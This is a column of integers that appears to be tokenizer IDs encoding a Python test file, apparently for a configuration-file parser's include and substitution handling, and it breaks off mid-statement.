12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
18884,
9995,
13,
18884,
263,
29901,
29871,
29896,
13,
18884,
289,
29901,
29871,
29906,
13,
18884,
3160,
3577,
703,
1357,
29918,
5453,
29901,
1357,
29889,
5527,
1159,
13,
18884,
9995,
13,
9651,
1723,
13,
9651,
396,
1423,
393,
278,
8118,
310,
1716,
2295,
2066,
526,
3625,
13,
9651,
4974,
9657,
29898,
2917,
29889,
294,
29918,
24595,
29918,
21693,
29918,
8977,
3101,
1275,
11117,
29874,
2396,
29871,
29896,
29892,
525,
29890,
2396,
29871,
29906,
29892,
525,
29883,
2396,
29871,
29941,
29913,
13,
4706,
7146,
29901,
13,
9651,
528,
4422,
29889,
1758,
8336,
29898,
7382,
29918,
3972,
29892,
11455,
29918,
12523,
29922,
5574,
29897,
13,
13,
1678,
822,
1243,
29918,
2856,
29918,
8977,
29898,
1311,
1125,
13,
4706,
3806,
29918,
690,
353,
426,
13,
9651,
525,
29874,
2396,
29871,
29896,
29892,
13,
9651,
525,
29890,
2396,
29871,
29906,
29892,
13,
9651,
525,
29883,
2396,
29871,
29941,
29892,
13,
9651,
525,
29881,
2396,
29871,
29946,
13,
4706,
500,
13,
4706,
411,
5694,
1445,
29889,
22175,
5776,
1971,
653,
2283,
877,
29893,
1495,
408,
285,
24581,
29901,
13,
9651,
285,
24581,
29889,
3539,
877,
29912,
29874,
29901,
29871,
29896,
29892,
289,
29901,
29871,
29906,
29913,
1495,
13,
9651,
285,
24581,
29889,
23126,
580,
13,
13,
9651,
2295,
29896,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
18884,
9995,
13,
18884,
263,
29901,
8620,
13,
462,
1678,
3160,
29850,
7050,
29918,
1445,
5038,
13,
462,
1678,
274,
29901,
29871,
29941,
13,
462,
1678,
270,
29901,
29871,
29946,
13,
18884,
9156,
13,
18884,
5124,
1642,
4830,
29898,
7050,
29918,
1445,
29922,
11512,
262,
29889,
978,
29897,
13,
9651,
1723,
13,
9651,
4974,
2295,
29896,
1839,
29874,
2033,
1275,
3806,
29918,
690,
13,
13,
9651,
2295,
29906,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
18884,
9995,
13,
18884,
263,
29901,
8620,
13,
462,
1678,
274,
29901,
29871,
29941,
13,
462,
1678,
270,
29901,
29871,
29946,
13,
462,
1678,
3160,
29850,
7050,
29918,
1445,
5038,
13,
18884,
9156,
13,
18884,
5124,
1642,
4830,
29898,
7050,
29918,
1445,
29922,
11512,
262,
29889,
978,
29897,
13,
9651,
1723,
13,
9651,
4974,
2295,
29906,
1839,
29874,
2033,
1275,
3806,
29918,
690,
13,
13,
9651,
2295,
29941,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
18884,
9995,
13,
18884,
263,
29901,
8620,
13,
462,
1678,
274,
29901,
29871,
29941,
13,
462,
1678,
3160,
29850,
7050,
29918,
1445,
5038,
13,
462,
1678,
270,
29901,
29871,
29946,
13,
18884,
9156,
13,
18884,
5124,
1642,
4830,
29898,
7050,
29918,
1445,
29922,
11512,
262,
29889,
978,
29897,
13,
9651,
1723,
13,
9651,
4974,
2295,
29941,
1839,
29874,
2033,
1275,
3806,
29918,
690,
13,
13,
1678,
822,
1243,
29918,
2856,
29918,
22492,
5008,
29898,
1311,
1125,
13,
4706,
411,
5694,
1445,
29889,
22175,
5776,
1971,
653,
2283,
877,
29893,
1495,
408,
285,
24581,
29901,
13,
9651,
285,
24581,
29889,
3539,
877,
29891,
353,
6435,
29916,
29913,
1495,
13,
9651,
285,
24581,
29889,
23126,
580,
13,
13,
9651,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
18884,
9995,
13,
18884,
3160,
29850,
7050,
29918,
1445,
5038,
13,
18884,
921,
353,
29871,
29946,
29906,
13,
18884,
5124,
1642,
4830,
29898,
7050,
29918,
1445,
29922,
11512,
262,
29889,
978,
29897,
13,
9651,
1723,
13,
9651,
4974,
2295,
1839,
29916,
2033,
1275,
29871,
29946,
29906,
13,
9651,
4974,
2295,
1839,
29891,
2033,
1275,
29871,
29946,
29906,
13,
13,
1678,
732,
2272,
1688,
29889,
3502,
29889,
29916,
14057,
13,
1678,
822,
1243,
29918,
2856,
29918,
22492,
5008,
29906,
29898,
1311,
1125,
13,
4706,
411,
5694,
1445,
29889,
22175,
5776,
1971,
653,
2283,
877,
29893,
1495,
408,
285,
24581,
29901,
13,
9651,
285,
24581,
29889,
3539,
877,
29912,
921,
584,
29871,
29896,
29900,
29892,
343,
584,
6435,
29916,
29913,
500,
1495,
13,
9651,
285,
24581,
29889,
23126,
580,
13,
13,
9651,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
18884,
9995,
13,
18884,
426,
13,
462,
1678,
263,
584,
426,
3160,
9995,
718,
18793,
29915,
718,
285,
24581,
29889,
978,
718,
9995,
29908,
500,
13,
462,
1678,
263,
584,
426,
921,
584,
29871,
29946,
29906,
500,
13,
18884,
500,
13,
18884,
9995,
13,
9651,
1723,
13,
9651,
4974,
2295,
1839,
29874,
16215,
29916,
2033,
1275,
29871,
29946,
29906,
13,
9651,
4974,
2295,
1839,
29874,
16215,
29891,
2033,
1275,
29871,
29946,
29906,
13,
13,
1678,
822,
1243,
29918,
1707,
29918,
2541,
29918,
2856,
29918,
26766,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
3160,
29899,
9803,
29922,
3009,
13,
9651,
5124,
1159,
13,
13,
4706,
4974,
2295,
1275,
426,
13,
9651,
525,
2856,
29899,
9803,
2396,
5852,
13,
4706,
500,
13,
13,
1678,
822,
1243,
29918,
22492,
5008,
29918,
15752,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
2566,
426,
13,
18884,
3495,
353,
15683,
13,
18884,
2011,
353,
29871,
29945,
29946,
29941,
29906,
13,
18884,
1404,
353,
2305,
13,
18884,
1024,
353,
1236,
459,
839,
29890,
13,
18884,
1209,
353,
529,
25711,
17013,
29958,
13,
9651,
500,
13,
13,
9651,
1404,
29922,
1688,
29918,
1792,
13,
9651,
1209,
29922,
29966,
25711,
17013,
29958,
13,
13,
9651,
2566,
426,
13,
18884,
1404,
353,
6435,
1792,
29913,
13,
18884,
1209,
353,
6435,
3364,
29913,
13,
9651,
500,
13,
13,
9651,
5124,
1159,
13,
13,
4706,
4974,
2295,
1839,
9803,
29889,
1792,
2033,
1275,
525,
1688,
29918,
1792,
29915,
13,
4706,
4974,
2295,
1839,
9803,
29889,
3364,
2033,
1275,
12801,
25711,
17013,
16299,
13,
13,
1678,
822,
1243,
29918,
22492,
5008,
29918,
20620,
29918,
15752,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
2566,
426,
13,
18884,
1024,
353,
1236,
459,
839,
29890,
13,
18884,
1209,
353,
529,
25711,
17013,
29958,
13,
18884,
1024,
353,
6435,
29973,
12256,
29918,
5746,
24306,
29913,
13,
18884,
1209,
353,
6435,
29973,
12256,
29918,
5746,
24306,
29913,
13,
9651,
500,
13,
9651,
5124,
1159,
13,
13,
4706,
4974,
2295,
1839,
9803,
29889,
978,
2033,
1275,
525,
412,
459,
839,
29890,
29915,
13,
4706,
4974,
2295,
1839,
9803,
29889,
3364,
2033,
1275,
12801,
25711,
17013,
16299,
13,
13,
1678,
822,
1243,
29918,
22492,
5008,
29918,
20787,
29918,
15752,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
263,
29901,
29871,
29896,
13,
9651,
289,
29901,
7953,
13,
9651,
274,
29901,
6435,
29874,
29913,
6435,
29890,
29913,
13,
9651,
274,
29901,
6435,
29890,
29913,
6435,
29874,
29913,
13,
9651,
270,
29901,
6435,
29874,
29913,
6435,
29890,
29913,
13,
9651,
270,
29901,
6435,
29874,
29913,
2594,
13,
9651,
5124,
1159,
13,
13,
4706,
4974,
2295,
1839,
29883,
2033,
1275,
525,
5431,
29871,
29896,
29915,
13,
4706,
4974,
2295,
1839,
29881,
2033,
1275,
525,
29896,
2594,
29915,
13,
13,
1678,
822,
1243,
29918,
22492,
5008,
29918,
27420,
29918,
15752,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
2566,
426,
13,
18884,
1024,
353,
1236,
459,
839,
29890,
13,
18884,
1209,
353,
529,
25711,
17013,
29958,
13,
9651,
500,
13,
13,
9651,
2566,
426,
13,
18884,
1024,
353,
6435,
29973,
1792,
29913,
13,
18884,
1209,
353,
6435,
29973,
3364,
29913,
13,
9651,
500,
13,
13,
9651,
5124,
1159,
13,
13,
4706,
4974,
2295,
1839,
9803,
29889,
978,
2033,
1275,
525,
412,
459,
839,
29890,
29915,
13,
4706,
4974,
2295,
1839,
9803,
29889,
3364,
2033,
1275,
12801,
25711,
17013,
16299,
13,
13,
1678,
822,
1243,
29918,
25253,
29918,
2541,
29918,
14634,
29898,
1311,
1125,
13,
4706,
443,
9778,
1490,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
7953,
29901,
29871,
29946,
29906,
13,
9651,
7953,
29901,
6435,
29973,
29874,
29913,
13,
9651,
5124,
613,
8814,
29922,
8824,
29897,
13,
4706,
2752,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
289,
29901,
29871,
29896,
29946,
13,
9651,
5124,
1159,
13,
4706,
2295,
353,
443,
9778,
1490,
29889,
2541,
29918,
11950,
1627,
29898,
4993,
29897,
13,
4706,
4974,
2295,
1839,
5431,
2033,
1275,
29871,
29946,
29906,
13,
4706,
2295,
353,
2752,
29889,
2541,
29918,
11950,
1627,
29898,
348,
9778,
1490,
29897,
13,
4706,
4974,
2295,
1839,
5431,
2033,
1275,
29871,
29946,
29906,
13,
13,
1678,
822,
1243,
29918,
11950,
1627,
29918,
2541,
29918,
17863,
29898,
1311,
1125,
13,
4706,
2295,
29941,
353,
12782,
5126,
29889,
5510,
29918,
1807,
703,
29883,
29922,
29945,
1159,
13,
4706,
2295,
29906,
353,
12782,
5126,
29889,
5510,
29918,
1807,
703,
29890,
23339,
29883,
17671,
8814,
29922,
8824,
29897,
13,
4706,
2295,
29896,
353,
12782,
5126,
29889,
5510,
29918,
1807,
703,
29874,
23339,
29890,
17671,
8814,
29922,
8824,
29897,
320,
13,
9651,
869,
2541,
29918,
11950,
1627,
29898,
2917,
29906,
29892,
8814,
29922,
8824,
29897,
320,
13,
9651,
869,
2541,
29918,
11950,
1627,
29898,
2917,
29941,
29897,
13,
4706,
4974,
11117,
29874,
2396,
29871,
29945,
29892,
525,
29890,
2396,
29871,
29945,
29892,
525,
29883,
2396,
29871,
29945,
29913,
1275,
2295,
29896,
13,
13,
1678,
822,
1243,
29918,
25253,
29918,
22492,
5008,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
263,
353,
29871,
29946,
29945,
13,
9651,
289,
353,
6435,
29973,
29883,
29913,
13,
9651,
270,
353,
6435,
29973,
29883,
29913,
29871,
29946,
13,
9651,
321,
353,
6435,
29973,
29874,
29913,
13,
9651,
330,
353,
6435,
29973,
29883,
29896,
29913,
6435,
29973,
29883,
29906,
29913,
13,
9651,
298,
353,
6435,
29973,
29883,
29896,
29913,
6435,
29973,
29883,
29906,
29913,
29871,
29896,
13,
9651,
5124,
1159,
13,
13,
4706,
4974,
525,
29890,
29915,
451,
297,
2295,
13,
4706,
4974,
2295,
1839,
29881,
2033,
1275,
29871,
29946,
13,
4706,
4974,
2295,
1839,
29872,
2033,
1275,
29871,
29946,
29945,
13,
4706,
4974,
525,
29887,
29915,
451,
297,
2295,
13,
4706,
4974,
2295,
1839,
29882,
2033,
1275,
29871,
29896,
13,
13,
1678,
822,
1243,
29918,
9398,
6332,
29918,
25253,
29918,
22492,
5008,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
795,
954,
353,
29871,
29941,
13,
795,
3240,
2722,
29918,
7645,
353,
887,
505,
6435,
1949,
29913,
3240,
2722,
13,
795,
3240,
2722,
29918,
7645,
353,
6435,
29973,
29907,
17321,
6488,
29918,
4345,
29954,
29913,
13,
9651,
5124,
1159,
13,
4706,
4974,
2295,
1275,
426,
13,
9651,
525,
1949,
2396,
29871,
29941,
29892,
13,
9651,
525,
2267,
2722,
29918,
7645,
2396,
525,
3492,
505,
29871,
29941,
3240,
2722,
29915,
13,
4706,
500,
13,
13,
1678,
822,
1243,
29918,
22492,
5008,
29918,
23090,
29898,
1311,
1125,
13,
4706,
411,
11451,
1688,
29889,
336,
4637,
29898,
3991,
4035,
303,
5008,
2451,
1125,
13,
9651,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
18884,
9995,
13,
18884,
263,
353,
6435,
29890,
29913,
13,
18884,
289,
353,
6435,
29883,
29913,
13,
18884,
274,
353,
6435,
29874,
29913,
13,
18884,
5124,
1159,
13,
13,
1678,
822,
1243,
29918,
16645,
29918,
4537,
29918,
2541,
29918,
29872,
324,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
263,
353,
13,
632,
29946,
13,
13,
9651,
289,
353,
396,
1243,
13,
9651,
396,
1243,
29906,
13,
632,
29945,
13,
13,
9651,
274,
353,
13,
13,
632,
29953,
13,
9651,
9995,
13,
4706,
1723,
13,
4706,
4974,
2295,
1839,
29874,
2033,
1275,
29871,
29946,
13,
4706,
4974,
2295,
1839,
29890,
2033,
1275,
29871,
29945,
13,
4706,
4974,
2295,
1839,
29883,
2033,
1275,
29871,
29953,
13,
13,
1678,
822,
1243,
29918,
16645,
29918,
524,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
3273,
353,
29871,
29896,
29906,
13,
9651,
1472,
353,
29871,
29896,
29906,
29941,
29906,
29896,
29941,
29906,
29896,
29947,
29941,
29955,
29953,
29896,
29906,
29941,
29955,
29947,
29896,
29906,
29953,
29906,
29896,
29941,
29906,
29896,
29955,
29941,
29906,
29896,
13,
9651,
8178,
353,
448,
29896,
29945,
13,
9651,
9995,
13,
4706,
1723,
13,
13,
4706,
396,
373,
3017,
29871,
29941,
1472,
674,
367,
385,
938,
541,
373,
3017,
29871,
29906,
1472,
411,
367,
263,
1472,
13,
4706,
4974,
2295,
1839,
12759,
2033,
1275,
29871,
29896,
29906,
13,
4706,
4974,
338,
8758,
29898,
2917,
1839,
12759,
7464,
938,
29897,
13,
4706,
4974,
2295,
1839,
5426,
2033,
1275,
29871,
29896,
29906,
29941,
29906,
29896,
29941,
29906,
29896,
29947,
29941,
29955,
29953,
29896,
29906,
29941,
29955,
29947,
29896,
29906,
29953,
29906,
29896,
29941,
29906,
29896,
29955,
29941,
29906,
29896,
13,
4706,
4974,
338,
8758,
29898,
2917,
1839,
22198,
7464,
938,
29897,
13,
4706,
4974,
2295,
1839,
22198,
2033,
1275,
448,
29896,
29945,
13,
13,
1678,
822,
1243,
29918,
16645,
29918,
7411,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
263,
353,
29871,
29896,
29906,
29896,
29889,
29906,
29906,
13,
9651,
289,
353,
448,
29896,
29906,
29896,
29889,
29906,
29906,
13,
9651,
274,
353,
869,
29945,
29946,
13,
9651,
270,
353,
448,
29889,
29945,
29946,
13,
9651,
9995,
13,
4706,
1723,
13,
13,
4706,
396,
373,
3017,
29871,
29941,
1472,
674,
367,
385,
938,
541,
373,
3017,
29871,
29906,
1472,
411,
367,
263,
1472,
13,
4706,
4974,
2295,
1839,
29874,
2033,
1275,
29871,
29896,
29906,
29896,
29889,
29906,
29906,
13,
4706,
4974,
2295,
1839,
29890,
2033,
1275,
448,
29896,
29906,
29896,
29889,
29906,
29906,
13,
4706,
4974,
2295,
1839,
29883,
2033,
1275,
869,
29945,
29946,
13,
4706,
4974,
2295,
1839,
29881,
2033,
1275,
448,
29889,
29945,
29946,
13,
13,
1678,
822,
1243,
29918,
26167,
29918,
6370,
29898,
1311,
1125,
13,
4706,
9995,
13,
4706,
4321,
16021,
4603,
310,
1353,
13,
4706,
9995,
13,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
3273,
353,
29871,
29896,
29906,
29889,
29896,
29906,
29941,
29906,
29896,
13,
9651,
1472,
29896,
353,
29871,
29896,
29906,
29896,
29889,
29906,
29906,
29923,
29941,
29946,
29906,
29941,
29946,
29941,
29906,
13,
9651,
3480,
29918,
5426,
29896,
353,
29871,
29896,
29906,
29896,
29889,
29906,
29906,
29923,
29899,
29896,
13,
9651,
1472,
29906,
353,
29871,
29896,
29906,
29896,
29889,
29906,
29906,
29872,
29941,
29946,
29906,
29941,
29946,
29941,
29906,
13,
9651,
3480,
29918,
5426,
29906,
353,
29871,
29896,
29906,
29896,
29889,
29906,
29906,
29872,
29899,
29941,
13,
9651,
9995,
13,
4706,
1723,
13,
13,
4706,
396,
373,
3017,
29871,
29941,
1472,
674,
367,
385,
938,
541,
373,
3017,
29871,
29906,
1472,
411,
367,
263,
1472,
13,
4706,
4974,
2295,
1839,
12759,
2033,
1275,
29871,
29896,
29906,
29889,
29896,
29906,
29941,
29906,
29896,
13,
13,
4706,
4974,
2295,
1839,
5426,
29896,
2033,
1275,
29871,
29896,
29906,
29896,
29889,
29906,
29906,
29923,
29941,
29946,
29906,
29941,
29946,
29941,
29906,
13,
4706,
4974,
2295,
1839,
10052,
29918,
5426,
29896,
2033,
1275,
29871,
29896,
29906,
29896,
29889,
29906,
29906,
29923,
29899,
29896,
13,
13,
4706,
4974,
2295,
1839,
5426,
29906,
2033,
1275,
29871,
29896,
29906,
29896,
29889,
29906,
29906,
29923,
29941,
29946,
29906,
29941,
29946,
29941,
29906,
13,
4706,
4974,
2295,
1839,
10052,
29918,
5426,
29906,
2033,
1275,
29871,
29896,
29906,
29896,
29889,
29906,
29906,
29923,
29899,
29941,
13,
13,
1678,
822,
1243,
29918,
16645,
29918,
19651,
29918,
2541,
29918,
29872,
324,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
263,
353,
13,
9651,
376,
29874,
29908,
13,
13,
9651,
289,
353,
396,
1243,
13,
9651,
396,
1243,
29906,
13,
9651,
376,
29890,
29908,
13,
13,
9651,
274,
353,
13,
13,
9651,
376,
29883,
29908,
13,
9651,
9995,
13,
4706,
1723,
13,
4706,
4974,
2295,
1839,
29874,
2033,
1275,
525,
29874,
29915,
13,
4706,
4974,
2295,
1839,
29890,
2033,
1275,
525,
29890,
29915,
13,
4706,
4974,
2295,
1839,
29883,
2033,
1275,
525,
29883,
29915,
13,
13,
1678,
822,
1243,
29918,
16645,
29918,
1761,
29918,
20326,
29918,
2541,
29918,
29872,
324,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
263,
353,
13,
9651,
518,
13,
632,
29896,
29892,
13,
632,
29906,
29892,
13,
9651,
4514,
13,
13,
9651,
289,
353,
396,
1243,
13,
9651,
396,
1243,
29906,
13,
9651,
518,
13,
632,
29941,
29892,
13,
632,
29946,
26073,
13,
13,
9651,
274,
353,
13,
13,
9651,
518,
13,
632,
29945,
29892,
13,
632,
29953,
13,
9651,
4514,
13,
9651,
9995,
13,
4706,
1723,
13,
4706,
4974,
2295,
1839,
29874,
2033,
1275,
518,
29896,
29892,
29871,
29906,
29962,
13,
4706,
4974,
2295,
1839,
29890,
2033,
1275,
518,
29941,
29892,
29871,
29946,
29962,
13,
4706,
4974,
2295,
1839,
29883,
2033,
1275,
518,
29945,
29892,
29871,
29953,
29962,
13,
13,
1678,
822,
1243,
29918,
16645,
29918,
1761,
29918,
19651,
29918,
2541,
29918,
29872,
324,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
263,
353,
13,
9651,
518,
13,
9651,
376,
29874,
613,
13,
9651,
376,
29890,
613,
13,
9651,
4514,
13,
13,
9651,
289,
353,
396,
1243,
13,
9651,
396,
1243,
29906,
13,
9651,
518,
13,
9651,
376,
29883,
613,
13,
9651,
376,
29881,
613,
29962,
13,
13,
9651,
274,
353,
13,
13,
9651,
518,
13,
9651,
376,
29872,
613,
13,
9651,
376,
29888,
29908,
13,
9651,
4514,
13,
9651,
9995,
13,
4706,
1723,
13,
4706,
4974,
2295,
1839,
29874,
2033,
1275,
6024,
29874,
742,
525,
29890,
2033,
13,
4706,
4974,
2295,
1839,
29890,
2033,
1275,
6024,
29883,
742,
525,
29881,
2033,
13,
4706,
4974,
2295,
1839,
29883,
2033,
1275,
6024,
29872,
742,
525,
29888,
2033,
13,
13,
1678,
822,
1243,
29918,
16645,
29918,
8977,
29918,
19651,
29918,
2541,
29918,
11745,
29918,
4530,
29918,
2541,
29918,
29872,
324,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
263,
353,
13,
9651,
426,
13,
9651,
263,
29901,
29871,
29896,
29892,
13,
9651,
289,
29901,
29871,
29906,
29892,
13,
9651,
500,
13,
13,
9651,
289,
353,
396,
1243,
13,
9651,
396,
1243,
29906,
13,
9651,
426,
13,
9651,
274,
29901,
29871,
29941,
29892,
13,
9651,
270,
29901,
29871,
29946,
29892,
29913,
13,
13,
9651,
274,
353,
13,
13,
9651,
426,
13,
9651,
321,
29901,
29871,
29945,
29892,
13,
9651,
285,
29901,
29871,
29953,
13,
9651,
500,
13,
9651,
9995,
13,
4706,
1723,
13,
4706,
4974,
2295,
1839,
29874,
2033,
1275,
11117,
29874,
2396,
29871,
29896,
29892,
525,
29890,
2396,
29871,
29906,
29913,
13,
4706,
4974,
2295,
1839,
29890,
2033,
1275,
11117,
29883,
2396,
29871,
29941,
29892,
525,
29881,
2396,
29871,
29946,
29913,
13,
4706,
4974,
2295,
1839,
29883,
2033,
1275,
11117,
29872,
2396,
29871,
29945,
29892,
525,
29888,
2396,
29871,
29953,
29913,
13,
13,
1678,
822,
1243,
29918,
16645,
29918,
8977,
29918,
19651,
29918,
1217,
29918,
11745,
29918,
4530,
29918,
2541,
29918,
29872,
324,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
263,
13,
9651,
426,
13,
9651,
263,
29901,
29871,
29896,
29892,
13,
9651,
289,
29901,
29871,
29906,
29892,
13,
9651,
500,
13,
13,
9651,
289,
396,
1243,
13,
9651,
396,
1243,
29906,
13,
9651,
426,
13,
9651,
274,
29901,
29871,
29941,
29892,
13,
9651,
270,
29901,
29871,
29946,
29892,
29913,
13,
13,
9651,
274,
13,
13,
9651,
426,
13,
9651,
321,
29901,
29871,
29945,
29892,
13,
9651,
285,
29901,
29871,
29953,
13,
9651,
500,
13,
9651,
9995,
13,
4706,
1723,
13,
4706,
4974,
2295,
1839,
29874,
2033,
1275,
11117,
29874,
2396,
29871,
29896,
29892,
525,
29890,
2396,
29871,
29906,
29913,
13,
4706,
4974,
2295,
1839,
29890,
2033,
1275,
11117,
29883,
2396,
29871,
29941,
29892,
525,
29881,
2396,
29871,
29946,
29913,
13,
4706,
4974,
2295,
1839,
29883,
2033,
1275,
11117,
29872,
2396,
29871,
29945,
29892,
525,
29888,
2396,
29871,
29953,
29913,
13,
13,
1678,
822,
1243,
29918,
22492,
5008,
29879,
29918,
957,
3539,
29898,
1311,
1125,
13,
4706,
2295,
29896,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
263,
353,
29871,
29896,
29906,
29941,
13,
9651,
263,
353,
6435,
29973,
1688,
29913,
13,
9651,
263,
353,
29871,
29945,
13,
9651,
9995,
13,
4706,
1723,
13,
13,
4706,
4974,
2295,
29896,
1839,
29874,
2033,
1275,
29871,
29945,
13,
13,
4706,
2295,
29906,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
426,
13,
795,
2566,
426,
13,
18884,
3495,
353,
376,
7640,
29908,
13,
18884,
2011,
353,
29871,
29947,
29900,
29900,
29900,
13,
18884,
3142,
353,
6435,
9803,
29889,
3069,
29913,
4710,
5303,
9803,
29889,
637,
29913,
13,
795,
500,
13,
13,
795,
2566,
426,
13,
18884,
3495,
353,
6435,
29973,
4051,
29918,
20832,
29913,
13,
795,
500,
13,
13,
795,
2566,
426,
13,
18884,
3495,
353,
376,
1228,
29889,
3069,
29889,
1212,
29908,
13,
18884,
2011,
353,
29871,
29946,
29941,
29941,
13,
795,
500,
13,
9651,
500,
13,
9651,
9995,
13,
4706,
1723,
13,
13,
4706,
4974,
2295,
29906,
1839,
9803,
16215,
3069,
2033,
1275,
525,
1228,
29889,
3069,
29889,
1212,
29915,
13,
4706,
4974,
2295,
29906,
1839,
9803,
16215,
637,
2033,
1275,
29871,
29946,
29941,
29941,
13,
4706,
4974,
2295,
29906,
1839,
9803,
16215,
2271,
2033,
1275,
525,
1228,
29889,
3069,
29889,
1212,
29901,
29946,
29941,
29941,
29915,
13,
13,
1678,
822,
1243,
29918,
11950,
1627,
29918,
22492,
5008,
29879,
29918,
957,
3539,
29898,
1311,
1125,
13,
4706,
2295,
29896,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
263,
353,
426,
13,
18884,
289,
29901,
29871,
29896,
13,
18884,
274,
29901,
29871,
29906,
13,
9651,
500,
13,
9651,
9995,
13,
4706,
1723,
13,
13,
4706,
2295,
29906,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
263,
29889,
29890,
353,
29871,
29946,
13,
9651,
263,
29889,
29881,
353,
29871,
29941,
13,
9651,
9995,
13,
4706,
1723,
13,
13,
4706,
2295,
29941,
353,
2295,
29896,
29889,
2541,
29918,
11950,
1627,
29898,
2917,
29906,
29897,
13,
13,
4706,
4974,
2295,
29941,
1839,
29874,
2033,
1275,
426,
13,
9651,
525,
29890,
2396,
29871,
29896,
29892,
13,
9651,
525,
29883,
2396,
29871,
29906,
29892,
13,
9651,
525,
29881,
2396,
29871,
29941,
13,
4706,
500,
13,
13,
4706,
2295,
29946,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
1024,
29901,
7953,
13,
9651,
9995,
13,
4706,
1723,
13,
13,
4706,
2295,
29945,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
318,
15945,
29908,
13,
9651,
1472,
1170,
29901,
376,
5426,
11568,
29973,
978,
29913,
13,
9651,
5124,
613,
13,
9651,
8814,
29922,
8824,
13,
4706,
1723,
13,
13,
4706,
2295,
29953,
353,
2295,
29946,
29889,
2541,
29918,
11950,
1627,
29898,
2917,
29945,
29897,
13,
4706,
4974,
2295,
29953,
1275,
426,
13,
9651,
525,
5426,
1170,
2396,
525,
5426,
7953,
742,
13,
9651,
525,
978,
2396,
525,
5431,
29915,
13,
4706,
500,
13,
13,
1678,
822,
1243,
29918,
11950,
1627,
29918,
22492,
5008,
29879,
29918,
957,
3539,
29918,
1445,
29898,
1311,
1125,
13,
4706,
2295,
29896,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
426,
13,
18884,
848,
29899,
5064,
29899,
19206,
353,
426,
9867,
29899,
2311,
29901,
29871,
29947,
500,
13,
18884,
3984,
29883,
353,
376,
29885,
391,
29908,
13,
9651,
500,
13,
9651,
9995,
13,
4706,
1723,
13,
13,
4706,
396,
671,
29104,
2224,
1244,
363,
17855,
6724,
2045,
597,
3292,
29889,
510,
29914,
305,
13699,
261,
29914,
2272,
1251,
535,
29914,
12175,
29914,
29946,
29946,
13,
4706,
2295,
29906,
353,
2295,
29896,
29889,
2541,
29918,
11950,
1627,
29898,
29884,
29915,
27736,
29914,
10467,
29889,
5527,
1495,
13,
4706,
4974,
2295,
29906,
1275,
426,
13,
9651,
525,
1272,
29899,
5064,
29899,
19206,
2396,
11117,
19594,
29899,
2311,
2396,
29871,
29947,
1118,
13,
9651,
525,
1272,
29899,
5064,
29899,
23027,
2396,
11117,
19594,
29899,
2311,
2396,
29871,
29947,
29892,
525,
978,
2396,
525,
23027,
16675,
13,
9651,
525,
29885,
10669,
2396,
525,
29885,
391,
742,
13,
9651,
525,
4381,
29899,
29926,
6925,
29899,
25707,
2396,
6024,
29899,
6247,
29901,
29974,
11403,
2177,
4373,
8766,
7464,
13,
9651,
525,
16961,
29899,
29926,
6925,
29899,
25707,
2396,
6024,
29899,
6247,
29901,
29974,
11403,
2177,
4373,
8766,
742,
17411,
29990,
29885,
29896,
29953,
29887,
2033,
13,
4706,
500,
13,
13,
1678,
822,
1243,
29918,
11950,
1627,
29918,
1311,
29918,
999,
29918,
22492,
5008,
29879,
29918,
4397,
29898,
1311,
1125,
13,
4706,
2295,
29896,
353,
